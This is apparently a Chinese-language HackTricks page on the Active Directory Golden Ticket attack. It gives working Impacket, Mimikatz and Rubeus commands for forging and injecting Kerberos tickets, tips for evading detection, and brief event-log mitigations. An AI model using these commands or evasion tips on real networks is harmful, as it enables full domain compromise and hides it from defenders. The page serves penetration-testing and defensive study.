Golden Ticket
Reading time: 5 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Golden ticket
Golden Ticket 攻击是指通过使用 Active Directory (AD) krbtgt 账户的 NTLM 哈希 来 创建一个合法的票据授权票据 (TGT),以冒充任何用户。这种技术特别有利,因为它 使冒充的用户能够访问域内的任何服务或机器。重要的是要记住,krbtgt 账户的凭据从不自动更新。
要 获取 krbtgt 账户的 NTLM 哈希,可以采用多种方法。它可以从 本地安全授权子系统服务 (LSASS) 进程 或位于域内任何域控制器 (DC) 上的 NT 目录服务 (NTDS.dit) 文件 中提取。此外,执行 DCsync 攻击 是获取此 NTLM 哈希的另一种策略,可以使用 Mimikatz 中的 lsadump::dcsync 模块 或 Impacket 的 secretsdump.py 脚本 来执行。需要强调的是,进行这些操作通常需要 域管理员权限或类似级别的访问权限。
尽管 NTLM 哈希作为此目的的可行方法,但 强烈建议 使用 高级加密标准 (AES) Kerberos 密钥 (AES128 和 AES256) 来 伪造票据,以确保操作安全。
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory
# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi
一旦你注入了金票,你可以访问共享文件**(C$),并执行服务和WMI,因此你可以使用psexec或wmiexec**来获取一个shell(看起来你无法通过winrm获取shell)。
绕过常见检测
检测金票的最常见方法是通过检查网络上的Kerberos流量。默认情况下,Mimikatz将TGT签名为10年,这将在后续使用它的TGS请求中显得异常。
Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM
使用/startoffset
、/endin
和/renewmax
参数来控制开始偏移、持续时间和最大续订(均以分钟为单位)。
Get-DomainPolicy | select -expand KerberosPolicy
不幸的是,TGT 的生命周期不会在 4769 中记录,因此您无法在 Windows 事件日志中找到此信息。然而,您可以关联的是 看到 4769 而没有先前的 4768。没有 TGT 是无法请求 TGS 的,如果没有 TGT 被发出的记录,我们可以推断它是离线伪造的。
为了 绕过此检测,请检查 diamond tickets:
缓解措施
- 4624: 账户登录
- 4672: 管理员登录
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property
防御者可以做的其他小技巧是 对敏感用户的 4769 发出警报,例如默认域管理员账户。
参考文献
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets] (https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets)
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。